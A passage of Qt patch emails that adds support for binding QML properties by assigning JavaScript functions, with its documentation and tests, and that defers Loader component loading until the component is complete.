    -Instead of creating a property binding, this simply sets the \c width of the \l Rectangle
    -to the value of \c other.width at the time the JavaScript code is invoked.  See 
    -\l {Property Assignment vs Property Binding} for more details.
    +Instead of creating a property binding, this simply sets the \c height property to the correct
    +value \e {at the time that} the JavaScript code is invoked. Unlike the first example, the
    +\c height will never change if \c width changes.
    +
    +The \e {property : value} syntax for property binding is QML-specific and cannot be used in
    +JavaScript. Instead, to bind a property from JavaScript, assign a \e function to the property
    +that returns the required value. The following code correctly sets the property binding
    +created in the first example, but creates the binding in JavaScript rather than QML:
    +
    +\qml
    +Item {
    +    width: 100
    +
    +    Component.onCompleted: {
    +        height = (function() { return width * 2 })
    +    }
    +}
    +\endqml
    +
    +
    +\section2 Using \c this to create a binding
    +
    +When creating a property binding from JavaScript, QML allows the use of the \c this keyword to
    +refer to the object to which the property binding will be assigned. This allows one to
    +explicitly refer to a property within an object when there may be ambiguity about the exact
    +property that should be used for the binding.
     
    -Also note that assigning a value to a property that is currently bound will remove the binding.
    -A property can only have one value at a time, and if any code explicitly sets
    -this value, the binding is removed.  The \l Rectangle in the example below will have
    -a width of 13, regardless of the \c otherItem's width.
    +For example, the \c Component.onCompleted handler below is defined within the scope of the
    +\l Item, and references to \c width within this scope would refer to the \l Item's width, rather
    +than that of the \l Rectangle. To bind the \l Rectangle's \c height to its own \c width, the
    +function needs to explicitly refer to \c this.width rather than just \c width. Otherwise, the
    +height of the \l Rectangle would be bound to the width of the \l Item and not the \l Rectangle.
    +
    +\qml
    +Item {
    +    width: 500
    +    height: 500
    +
    +    Rectangle {
    +        id: rect
    +        width: 100
    +        color: "yellow"
    +    }
    +
    +    Component.onCompleted: {
    +        rect.height = (function() { return this.width * 2 })
    +    }
    +}
    +\endqml
    +
    +(In this case, the function could also have referred to \c rect.width rather than \c this.width.)
    +
    +Note that the value of \c this is not defined outside of its use in property binding.
    +See \l {QML JavaScript Restrictions} for details.
    +
    +
    +\section2 Effects of property assignment
    +
    +Note that assigning a value to a property that is currently bound will remove the binding.
    +A property can only have one value at a time, and if any code explicitly sets this value, the
    +binding is removed. In the following example, although \c width has been bound to \c height,
    +the binding is removed by the JavaScript code that assigns \c width to 50:
     
     \code
    -Rectangle {
    -    width: otherItem.width
    +Item {
    +    width: height * 2
    +    height: 100
     
         Component.onCompleted: {
    -        width = 13;
    +        width = 50;
         }
     }
     \endcode
     
    -There is no way to create a property binding directly from imperative JavaScript code,
    -although it is possible to set up a \l Binding object (shown below).
    -
     
    -\section1 Binding Element
    +\section1 The Binding Element
     
     The implicit binding syntax shown previously is easy to use and works perfectly for most uses
     of bindings.  In some advanced cases, it is necessary to create bindings explicitly using the 
    diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp
    index b2d0738..a5bd604 100644
    --- a/src/declarative/qml/qdeclarativebinding.cpp
    +++ b/src/declarative/qml/qdeclarativebinding.cpp
    @@ -274,6 +274,13 @@ QDeclarativeBinding::QDeclarativeBinding(const QString &str, QObject *obj, QDecl
         setNotifyOnValueChanged(true);
     }
     
    +QDeclarativeBinding::QDeclarativeBinding(const QScriptValue &func, QObject *obj, QDeclarativeContextData *ctxt, QObject *parent)
    +: QDeclarativeExpression(ctxt, obj, func, *new QDeclarativeBindingPrivate)
    +{
    +    setParent(parent);
    +    setNotifyOnValueChanged(true);
    +}
    +
     QDeclarativeBinding::~QDeclarativeBinding()
     {
     }
    @@ -292,6 +299,19 @@ QDeclarativeProperty QDeclarativeBinding::property() const
        return d->property; 
     }
     
    +void QDeclarativeBinding::setEvaluateFlags(EvaluateFlags flags)
    +{
    +    Q_D(QDeclarativeBinding);
    +    d->setEvaluateFlags(QDeclarativeQtScriptExpression::EvaluateFlags(static_cast(flags)));
    +}
    +
    +QDeclarativeBinding::EvaluateFlags QDeclarativeBinding::evaluateFlags() const
    +{
    +    Q_D(const QDeclarativeBinding);
    +    return QDeclarativeBinding::EvaluateFlags(static_cast(d->evaluateFlags()));
    +}
    +
    +
     class QDeclarativeBindingProfiler {
     public:
         QDeclarativeBindingProfiler(QDeclarativeBinding *bind)
    diff --git a/src/declarative/qml/qdeclarativebinding_p.h b/src/declarative/qml/qdeclarativebinding_p.h
    index 19e7099..0260b95 100644
    --- a/src/declarative/qml/qdeclarativebinding_p.h
    +++ b/src/declarative/qml/qdeclarativebinding_p.h
    @@ -147,14 +147,21 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBinding : public QDeclarativeExpr
     {
     Q_OBJECT
     public:
    +    enum EvaluateFlag { RequiresThisObject = 0x01 };
    +    Q_DECLARE_FLAGS(EvaluateFlags, EvaluateFlag)
    +
         QDeclarativeBinding(const QString &, QObject *, QDeclarativeContext *, QObject *parent=0);
         QDeclarativeBinding(const QString &, QObject *, QDeclarativeContextData *, QObject *parent=0);
         QDeclarativeBinding(void *, QDeclarativeRefCount *, QObject *, QDeclarativeContextData *, 
                             const QString &, int, QObject *parent);
    +    QDeclarativeBinding(const QScriptValue &, QObject *, QDeclarativeContextData *, QObject *parent=0);
     
         void setTarget(const QDeclarativeProperty &);
         QDeclarativeProperty property() const;
     
    +    void setEvaluateFlags(EvaluateFlags flags);
    +    EvaluateFlags evaluateFlags() const;
    +
         bool enabled() const;
     
         // Inherited from  QDeclarativeAbstractBinding
    @@ -177,6 +184,8 @@ private:
         Q_DECLARE_PRIVATE(QDeclarativeBinding)
     };
     
    +Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeBinding::EvaluateFlags)
    +
     QT_END_NAMESPACE
     
     Q_DECLARE_METATYPE(QDeclarativeBinding*)
    diff --git a/src/declarative/qml/qdeclarativeexpression.cpp b/src/declarative/qml/qdeclarativeexpression.cpp
    index 26c91a5..7a85ada 100644
    --- a/src/declarative/qml/qdeclarativeexpression.cpp
    +++ b/src/declarative/qml/qdeclarativeexpression.cpp
    @@ -103,6 +103,19 @@ void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, const QS
         expressionFunctionValid = false;
     }
     
    +void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, const QScriptValue &func,
    +                                         QObject *me)
    +{
    +    expression = func.toString();
    +
    +    QDeclarativeAbstractExpression::setContext(ctxt);
    +    scopeObject = me;
    +
    +    expressionFunction = func;
    +    expressionFunctionMode = ExplicitContext;
    +    expressionFunctionValid = true;
    +}
    +
     void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, void *expr, 
                                              QDeclarativeRefCount *rc, 
                                              QObject *me, const QString &srcUrl, int lineNumber)
    @@ -304,6 +317,19 @@ QDeclarativeExpression::QDeclarativeExpression(QDeclarativeContextData *ctxt, QO
         d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
     }
     
    +/*!  \internal */
    +QDeclarativeExpression::QDeclarativeExpression(QDeclarativeContextData *ctxt, QObject *scope, const QScriptValue &func,
    +                       QDeclarativeExpressionPrivate &dd)
    +: QObject(dd, 0)
    +{
    +    Q_D(QDeclarativeExpression);
    +    d->init(ctxt, func, scope);
    +
    +    if (QDeclarativeExpression_notifyIdx == -1)
    +        QDeclarativeExpression_notifyIdx = QDeclarativeExpression::staticMetaObject.indexOfMethod("_q_notify()");
    +    d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
    +}
    +
     /*!
         Destroy the QDeclarativeExpression instance.
     */
    @@ -412,6 +438,16 @@ void QDeclarativeQtScriptExpression::setNotifyObject(QObject *object, int notify
         }
     }
     
    +void QDeclarativeQtScriptExpression::setEvaluateFlags(EvaluateFlags flags)
    +{
    +    evalFlags = flags;
    +}
    +
    +QDeclarativeQtScriptExpression::EvaluateFlags QDeclarativeQtScriptExpression::evaluateFlags() const
    +{
    +    return evalFlags;
    +}
    +
     QScriptValue QDeclarativeQtScriptExpression::scriptValue(QObject *secondaryScope, bool *isUndefined)
     {
         Q_ASSERT(context() && context()->engine);
    @@ -476,7 +512,10 @@ QScriptValue QDeclarativeQtScriptExpression::eval(QObject *secondaryScope, bool
             oldOverride = ep->contextClass->setOverrideObject(expressionContext, secondaryScope);
         }
     
    -    QScriptValue svalue = expressionFunction.call(); // This could cause this to be deleted
    +    QScriptValue thisObject;
    +    if (evalFlags & RequiresThisObject)
    +        thisObject = ep->objectClass->newQObject(scopeObject);
    +    QScriptValue svalue = expressionFunction.call(thisObject); // This could cause this c++ object to be deleted
     
         if (isShared) {
             ep->sharedContext = oldSharedContext;
    diff --git a/src/declarative/qml/qdeclarativeexpression.h b/src/declarative/qml/qdeclarativeexpression.h
    index 72c5947..d40094b 100644
    --- a/src/declarative/qml/qdeclarativeexpression.h
    +++ b/src/declarative/qml/qdeclarativeexpression.h
    @@ -59,6 +59,7 @@ class QDeclarativeEngine;
     class QDeclarativeContext;
     class QDeclarativeExpressionPrivate;
     class QDeclarativeContextData;
    +class QScriptValue;
     class Q_DECLARATIVE_EXPORT QDeclarativeExpression : public QObject
     {
         Q_OBJECT
    @@ -94,6 +95,8 @@ Q_SIGNALS:
     protected:
         QDeclarativeExpression(QDeclarativeContextData *, QObject *, const QString &,
                                QDeclarativeExpressionPrivate &dd);
    +    QDeclarativeExpression(QDeclarativeContextData *, QObject *, const QScriptValue &,
    +                           QDeclarativeExpressionPrivate &dd);
         QDeclarativeExpression(QDeclarativeContextData *, void *, QDeclarativeRefCount *rc, 
                                QObject *me, const QString &, int, QDeclarativeExpressionPrivate &dd);
     
    diff --git a/src/declarative/qml/qdeclarativeexpression_p.h b/src/declarative/qml/qdeclarativeexpression_p.h
    index 1d25609..51cae0f 100644
    --- a/src/declarative/qml/qdeclarativeexpression_p.h
    +++ b/src/declarative/qml/qdeclarativeexpression_p.h
    @@ -113,6 +113,9 @@ class QDeclarativeQtScriptExpression : public QDeclarativeAbstractExpression,
     public:
         enum Mode { SharedContext, ExplicitContext };
     
    +    enum EvaluateFlag { RequiresThisObject = 0x01 };
    +    Q_DECLARE_FLAGS(EvaluateFlags, EvaluateFlag)
    +
         QDeclarativeQtScriptExpression();
         virtual ~QDeclarativeQtScriptExpression();
     
    @@ -131,6 +134,9 @@ public:
         void resetNotifyOnChange();
         void setNotifyObject(QObject *, int );
     
    +    void setEvaluateFlags(EvaluateFlags flags);
    +    EvaluateFlags evaluateFlags() const;
    +
         QScriptValue scriptValue(QObject *secondaryScope, bool *isUndefined);
     
         class DeleteWatcher {
    @@ -157,8 +163,13 @@ private:
         QObject *guardObject;
         int guardObjectNotifyIndex;
         bool *deleted;
    +
    +    EvaluateFlags evalFlags;
     };
     
    +Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeQtScriptExpression::EvaluateFlags)
    +
    +
     class QDeclarativeExpression;
     class QString;
     class QDeclarativeExpressionPrivate : public QObjectPrivate, public QDeclarativeQtScriptExpression
    @@ -169,6 +180,7 @@ public:
         ~QDeclarativeExpressionPrivate();
     
         void init(QDeclarativeContextData *, const QString &, QObject *);
    +    void init(QDeclarativeContextData *, const QScriptValue &, QObject *);
         void init(QDeclarativeContextData *, void *, QDeclarativeRefCount *, QObject *, const QString &, int);
     
         QVariant value(QObject *secondaryScope = 0, bool *isUndefined = 0);
    diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    index cbbf2b9..7701a23 100644
    --- a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    +++ b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    @@ -359,8 +359,20 @@ void QDeclarativeObjectScriptClass::setProperty(QObject *obj,
             }
         }
     
    +    QDeclarativeBinding *newBinding = 0;
    +    if (value.isFunction() && !value.isRegExp()) {
    +        QScriptContextInfo ctxtInfo(context);
    +        QDeclarativePropertyCache::ValueTypeData valueTypeData;
    +
    +        newBinding = new QDeclarativeBinding(value, obj, evalContext);
    +        newBinding->setSourceLocation(ctxtInfo.fileName(), ctxtInfo.functionStartLineNumber());
    +        newBinding->setTarget(QDeclarativePropertyPrivate::restore(*lastData, valueTypeData, obj, evalContext));
    +        if (newBinding->expression().contains("this"))
    +            newBinding->setEvaluateFlags(newBinding->evaluateFlags() | QDeclarativeBinding::RequiresThisObject);
    +    }
    +
         QDeclarativeAbstractBinding *delBinding =
    -        QDeclarativePropertyPrivate::setBinding(obj, lastData->coreIndex, -1, 0);
    +        QDeclarativePropertyPrivate::setBinding(obj, lastData->coreIndex, -1, newBinding);
         if (delBinding)
             delBinding->destroy();
     
    @@ -379,10 +391,7 @@ void QDeclarativeObjectScriptClass::setProperty(QObject *obj,
             QString error = QLatin1String("Cannot assign [undefined] to ") +
                             QLatin1String(QMetaType::typeName(lastData->propType));
             context->throwError(error);
    -    } else if (!value.isRegExp() && value.isFunction()) {
    -        QString error = QLatin1String("Cannot assign a function to a property.");
    -        context->throwError(error);
    -    } else {
    +    } else if (!value.isFunction()) {
             QVariant v;
             if (lastData->flags & QDeclarativePropertyCache::Data::IsQList)
                 v = enginePriv->scriptValueToVariant(value, qMetaTypeId >());
    diff --git a/src/declarative/qml/qdeclarativeproperty.cpp b/src/declarative/qml/qdeclarativeproperty.cpp
    index 76829b7..61e3002 100644
    --- a/src/declarative/qml/qdeclarativeproperty.cpp
    +++ b/src/declarative/qml/qdeclarativeproperty.cpp
    @@ -1480,19 +1480,28 @@ QDeclarativePropertyPrivate::restore(const QByteArray &data, QObject *object, QD
         if (data.isEmpty())
             return prop;
     
    -    prop.d = new QDeclarativePropertyPrivate;
    -    prop.d->object = object;
    -    prop.d->context = ctxt;
    -    prop.d->engine = ctxt->engine;
    -
         const SerializedData *sd = (const SerializedData *)data.constData();
         if (sd->isValueType) {
             const ValueTypeSerializedData *vt = (const ValueTypeSerializedData *)sd;
    -        prop.d->core = vt->core;
    -        prop.d->valueType = vt->valueType;
    +        return restore(vt->core, vt->valueType, object, ctxt);
         } else {
    -        prop.d->core = sd->core;
    +        QDeclarativePropertyCache::ValueTypeData data;
    +        return restore(sd->core, data, object, ctxt);
         }
    +}
    +
    +QDeclarativeProperty
    +QDeclarativePropertyPrivate::restore(const QDeclarativePropertyCache::Data &data, const QDeclarativePropertyCache::ValueTypeData &valueType, QObject *object, QDeclarativeContextData *ctxt)
    +{
    +    QDeclarativeProperty prop;
    +
    +    prop.d = new QDeclarativePropertyPrivate;
    +    prop.d->object = object;
    +    prop.d->context = ctxt;
    +    prop.d->engine = ctxt->engine;
    +
    +    prop.d->core = data;
    +    prop.d->valueType = valueType;
     
         return prop;
     }
    diff --git a/src/declarative/qml/qdeclarativeproperty_p.h b/src/declarative/qml/qdeclarativeproperty_p.h
    index fa0fef4..bd2c891 100644
    --- a/src/declarative/qml/qdeclarativeproperty_p.h
    +++ b/src/declarative/qml/qdeclarativeproperty_p.h
    @@ -112,7 +112,12 @@ public:
         static QByteArray saveValueType(const QMetaObject *, int, 
                                         const QMetaObject *, int);
         static QByteArray saveProperty(const QMetaObject *, int);
    +
         static QDeclarativeProperty restore(const QByteArray &, QObject *, QDeclarativeContextData *);
    +    static QDeclarativeProperty restore(const QDeclarativePropertyCache::Data &,
    +                                        const QDeclarativePropertyCache::ValueTypeData &,
    +                                        QObject *,
    +                                        QDeclarativeContextData *);
     
         static bool equal(const QMetaObject *, const QMetaObject *);
         static bool canConvert(const QMetaObject *from, const QMetaObject *to);
    diff --git a/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp b/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
    index 558ef90..200cc1c 100644
    --- a/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
    +++ b/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
    @@ -46,6 +46,8 @@
     #include "private/qdeclarativeengine_p.h"
     #include "private/qdeclarativeguard_p.h"
     
    +#include 
    +
     QT_BEGIN_NAMESPACE
     
     struct QDeclarativeValueTypeObject : public QScriptDeclarativeClass::Object {
    @@ -161,17 +163,41 @@ void QDeclarativeValueTypeScriptClass::setProperty(Object *obj, const Identifier
         if (o->objectType == QDeclarativeValueTypeObject::Reference) {
             QDeclarativeValueTypeReference *ref = static_cast(obj);
     
    +        ref->type->read(ref->object, ref->property);
    +        QMetaProperty p = ref->type->metaObject()->property(m_lastIndex);
    +
    +        QDeclarativeBinding *newBinding = 0;
    +        if (value.isFunction() && !value.isRegExp()) {
    +            QDeclarativeContextData *ctxt = QDeclarativeEnginePrivate::get(engine)->getContext(context());
    +
    +            QDeclarativePropertyCache::Data cacheData;
    +            cacheData.flags = QDeclarativePropertyCache::Data::IsWritable;
    +            cacheData.propType = ref->object->metaObject()->property(ref->property).userType();
    +            cacheData.coreIndex = ref->property;
    +
    +            QDeclarativePropertyCache::ValueTypeData valueTypeData;
    +            valueTypeData.valueTypeCoreIdx = m_lastIndex;
    +            valueTypeData.valueTypePropType = p.userType();
    +
    +            newBinding = new QDeclarativeBinding(value, ref->object, ctxt);
    +            QScriptContextInfo ctxtInfo(context());
    +            newBinding->setSourceLocation(ctxtInfo.fileName(), ctxtInfo.functionStartLineNumber());
    +            QDeclarativeProperty prop = QDeclarativePropertyPrivate::restore(cacheData, valueTypeData, ref->object, ctxt);
    +            newBinding->setTarget(prop);
    +            if (newBinding->expression().contains("this"))
    +                newBinding->setEvaluateFlags(newBinding->evaluateFlags() | QDeclarativeBinding::RequiresThisObject);
    +        }
    +
             QDeclarativeAbstractBinding *delBinding = 
    -            QDeclarativePropertyPrivate::setBinding(ref->object, ref->property, m_lastIndex, 0);
    +            QDeclarativePropertyPrivate::setBinding(ref->object, ref->property, m_lastIndex, newBinding);
             if (delBinding) 
                 delBinding->destroy();
     
    -        ref->type->read(ref->object, ref->property);
    -        QMetaProperty p = ref->type->metaObject()->property(m_lastIndex);
             if (p.isEnumType() && (QMetaType::Type)v.type() == QMetaType::Double) 
                 v = v.toInt();
             p.write(ref->type, v);
             ref->type->write(ref->object, ref->property, 0);
    +
         } else {
             QDeclarativeValueTypeCopy *copy = static_cast(obj);
             copy->type->setValue(copy->value);
    diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
    index 948b39c..c8c926a 100644
    --- a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
    +++ b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
    @@ -1,13 +1,73 @@
     import Qt.test 1.0
    +import QtQuick 1.0
    +
    +import "functionAssignment.js" as Script
     
     MyQmlObject {
         property variant a
    -    property bool runTest: false
    -    onRunTestChanged: {
    +    property int aNumber: 10
    +
    +    property bool assignToProperty: false
    +    property bool assignToPropertyFromJsFile: false
    +
    +    property bool assignWithThis: false
    +    property bool assignWithThisFromJsFile: false
    +
    +    property bool assignToValueType: false
    +
    +    property bool assignFuncWithoutReturn: false
    +    property bool assignWrongType: false
    +    property bool assignWrongTypeToValueType: false
    +
    +
    +    onAssignToPropertyChanged: {
    +        function myFunction() {
    +            return aNumber * 10;
    +        }
    +        a = myFunction;
    +    }
    +
    +    property QtObject obj: QtObject {
    +        property int aNumber: 4212
    +        function myFunction() {
    +            return this.aNumber * 10;   // should use the aNumber from root, not this object
    +        }
    +    }
    +    onAssignWithThisChanged: {
    +        a = obj.myFunction;
    +    }
    +
    +    onAssignToPropertyFromJsFileChanged: {
    +        Script.bindPropertyWithThis()
    +    }
    +
    +    onAssignWithThisFromJsFileChanged: {
    +        Script.bindProperty()
    +    }
    +
    +    property Text text: Text { }
    +    onAssignToValueTypeChanged: {
    +        text.font.pixelSize = (function() { return aNumber * 10; })
    +        a = (function() { return text.font.pixelSize; })
    +    }
    +
    +
    +    // detecting errors:
    +
    +    onAssignFuncWithoutReturnChanged: {
             function myFunction() {
    -            console.log("hello world");
             }
             a = myFunction;
         }
     
    +    onAssignWrongTypeChanged: {
    +        function myFunction() {
    +            return 'a string';
    +        }
    +        aNumber = myFunction;
    +    }
    +
    +    onAssignWrongTypeToValueTypeChanged: {
    +        text.font.pixelSize = (function() { return 'a string'; })
    +    }
     }
    diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js
    new file mode 100644
    index 0000000..14daa76
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js
    @@ -0,0 +1,17 @@
    +function bindProperty()
    +{
    +    a = (function(){ return aNumber * 10 })
    +}
    +
    +
    +function TestObject() { }
    +TestObject.prototype.aNumber = 928349
    +TestObject.prototype.bindFunction = function() {
    +    return this.aNumber * 10        // this should not use the TestObject's aNumber
    +}
    +var testObj = new TestObject()
    +
    +function bindPropertyWithThis()
    +{
    +    a = testObj.bindFunction
    +}
    diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
    index cfe8cad..e7f9a2c 100644
    --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
    +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
    @@ -155,7 +155,10 @@ private slots:
         void qtcreatorbug_1289();
         void noSpuriousWarningsAtShutdown();
         void canAssignNullToQObject();
    -    void functionAssignment();
    +    void functionAssignment_fromBinding();
    +    void functionAssignment_fromJS();
    +    void functionAssignment_fromJS_data();
    +    void functionAssignmentfromJS_invalid();
         void eval();
         void function();
         void qtbug_10696();
    @@ -2514,9 +2517,8 @@ void tst_qdeclarativeecmascript::canAssignNullToQObject()
         }
     }
     
    -void tst_qdeclarativeecmascript::functionAssignment()
    +void tst_qdeclarativeecmascript::functionAssignment_fromBinding()
     {
    -    {
         QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.1.qml"));
     
         QString url = component.url().toString();
    @@ -2529,26 +2531,64 @@ void tst_qdeclarativeecmascript::functionAssignment()
         QVERIFY(!o->property("a").isValid());
     
         delete o;
    -    }
    +}
     
    -    {
    +void tst_qdeclarativeecmascript::functionAssignment_fromJS()
    +{
    +    QFETCH(QString, triggerProperty);
    +
    +    QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.2.qml"));
    +    QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString()));
    +
    +    MyQmlObject *o = qobject_cast(component.create());
    +    QVERIFY(o != 0);
    +    QVERIFY(!o->property("a").isValid());
    +
    +    o->setProperty("aNumber", QVariant(5));
    +    o->setProperty(triggerProperty.toUtf8().constData(), true);
    +    QCOMPARE(o->property("a"), QVariant(50));
    +
    +    o->setProperty("aNumber", QVariant(10));
    +    QCOMPARE(o->property("a"), QVariant(100));
    +
    +    delete o;
    +}
    +
    +void tst_qdeclarativeecmascript::functionAssignment_fromJS_data()
    +{
    +    QTest::addColumn("triggerProperty");
    +
    +    QTest::newRow("assign to property") << "assignToProperty";
    +    QTest::newRow("assign to property, from JS file") << "assignToPropertyFromJsFile";
    +
    +    QTest::newRow("assign to value type") << "assignToValueType";
    +
    +    QTest::newRow("use 'this'") << "assignWithThis";
    +    QTest::newRow("use 'this' from JS file") << "assignWithThisFromJsFile";
    +}
    +
    +void tst_qdeclarativeecmascript::functionAssignmentfromJS_invalid()
    +{
         QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.2.qml"));
    +    QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString()));
     
         MyQmlObject *o = qobject_cast(component.create());
         QVERIFY(o != 0);
    +    QVERIFY(!o->property("a").isValid());
     
    +    o->setProperty("assignFuncWithoutReturn", true);
         QVERIFY(!o->property("a").isValid());
    -    
    +
         QString url = component.url().toString();
    -    QString warning = url + ":10: Error: Cannot assign a function to a property.";
    +    QString warning = url + ":63: Unable to assign QString to int";
         QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
    -    
    -    o->setProperty("runTest", true);
    -    
    -    QVERIFY(!o->property("a").isValid());
    +    o->setProperty("assignWrongType", true);
    +
    +    warning = url + ":70: Unable to assign QString to int";
    +    QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
    +    o->setProperty("assignWrongTypeToValueType", true);
     
         delete o;
    -    }
     }
     
     void tst_qdeclarativeecmascript::eval()
    -- 
    cgit v0.12
    
    
    From 80f74d3801ddece4d34b4a663bf1bdc23ecc4a67 Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Thu, 27 Jan 2011 15:53:45 +1000
    Subject: Don't load components until the Loader component itself is completed
    
    Previously components were loaded as soon as setSource() or
    setSourceComponent() were called, even if the Loader component was not
    complete. If a source component had been set, the itemChanged(),
    statusChanged() etc. signals would be emitted before the Loader would
    be complete and before the internal item had been sized. If a source
    had been set via url, these signals were not emitted at all. It also
    caused loaded() to be emitted twice for components set by
    setSourceComponent().
    
    Task-number: QTBUG-16319
    Reviewed-by: Martin Jones
    ---
     .../graphicsitems/qdeclarativeloader.cpp           | 57 +++++++------
     .../graphicsitems/qdeclarativeloader_p_p.h         |  1 +
     .../qdeclarativeloader/tst_qdeclarativeloader.cpp  | 94 +++++++++++++---------
     3 files changed, 86 insertions(+), 66 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    index 242435c..871850d 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    @@ -262,6 +262,7 @@ void QDeclarativeLoader::setSource(const QUrl &url)
         d->clear();
     
         d->source = url;
    +
         if (d->source.isEmpty()) {
             emit sourceChanged();
             emit statusChanged();
    @@ -272,18 +273,9 @@ void QDeclarativeLoader::setSource(const QUrl &url)
     
         d->component = new QDeclarativeComponent(qmlEngine(this), d->source, this);
         d->ownComponent = true;
    -    if (!d->component->isLoading()) {
    -        d->_q_sourceLoaded();
    -    } else {
    -        connect(d->component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
    -                this, SLOT(_q_sourceLoaded()));
    -        connect(d->component, SIGNAL(progressChanged(qreal)),
    -                this, SIGNAL(progressChanged()));
    -        emit statusChanged();
    -        emit progressChanged();
    -        emit sourceChanged();
    -        emit itemChanged();
    -    }
    +
    +    if (isComponentComplete())
    +        d->load();
     }
     
     /*!
    @@ -324,6 +316,7 @@ void QDeclarativeLoader::setSourceComponent(QDeclarativeComponent *comp)
     
         d->component = comp;
         d->ownComponent = false;
    +
         if (!d->component) {
             emit sourceChanged();
             emit statusChanged();
    @@ -332,18 +325,8 @@ void QDeclarativeLoader::setSourceComponent(QDeclarativeComponent *comp)
             return;
         }
     
    -    if (!d->component->isLoading()) {
    -        d->_q_sourceLoaded();
    -    } else {
    -        connect(d->component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
    -                this, SLOT(_q_sourceLoaded()));
    -        connect(d->component, SIGNAL(progressChanged(qreal)),
    -                this, SIGNAL(progressChanged()));
    -        emit progressChanged();
    -        emit sourceChanged();
    -        emit statusChanged();
    -        emit itemChanged();
    -    }
    +    if (isComponentComplete())
    +        d->load();
     }
     
     void QDeclarativeLoader::resetSourceComponent()
    @@ -351,6 +334,27 @@ void QDeclarativeLoader::resetSourceComponent()
         setSourceComponent(0);
     }
     
    +void QDeclarativeLoaderPrivate::load()
    +{
    +    Q_Q(QDeclarativeLoader);
    +
    +    if (!q->isComponentComplete() || !component)
    +        return;
    +
    +    if (!component->isLoading()) {
    +        _q_sourceLoaded();
    +    } else {
    +        QObject::connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
    +                q, SLOT(_q_sourceLoaded()));
    +        QObject::connect(component, SIGNAL(progressChanged(qreal)),
    +                q, SIGNAL(progressChanged()));
    +        emit q->statusChanged();
    +        emit q->progressChanged();
    +        emit q->sourceChanged();
    +        emit q->itemChanged();
    +    }
    +}
    +
     void QDeclarativeLoaderPrivate::_q_sourceLoaded()
     {
         Q_Q(QDeclarativeLoader);
    @@ -465,9 +469,10 @@ QDeclarativeLoader::Status QDeclarativeLoader::status() const
     
     void QDeclarativeLoader::componentComplete()
     {
    +    Q_D(QDeclarativeLoader);
    +
         QDeclarativeItem::componentComplete();
    -    if (status() == Ready)
    -        emit loaded();
    +    d->load();
     }
     
     
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    index 2239b16..e366a14 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    @@ -72,6 +72,7 @@ public:
         void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry);
         void clear();
         void initResize();
    +    void load();
     
         QUrl source;
         QGraphicsObject *item;
    diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    index bfa81ed..358822e 100644
    --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    @@ -69,9 +69,8 @@ public:
         tst_QDeclarativeLoader();
     
     private slots:
    -    void url();
    -    void invalidUrl();
    -    void component();
    +    void sourceOrComponent();
    +    void sourceOrComponent_data();
         void clear();
         void urlToComponent();
         void componentToUrl();
    @@ -100,56 +99,71 @@ tst_QDeclarativeLoader::tst_QDeclarativeLoader()
     {
     }
     
    -void tst_QDeclarativeLoader::url()
    +void tst_QDeclarativeLoader::sourceOrComponent()
     {
    +    QFETCH(QString, sourceDefinition);
    +    QFETCH(QUrl, sourceUrl);
    +    QFETCH(QString, errorString);
    +
    +    bool error = !errorString.isEmpty();
    +    if (error)
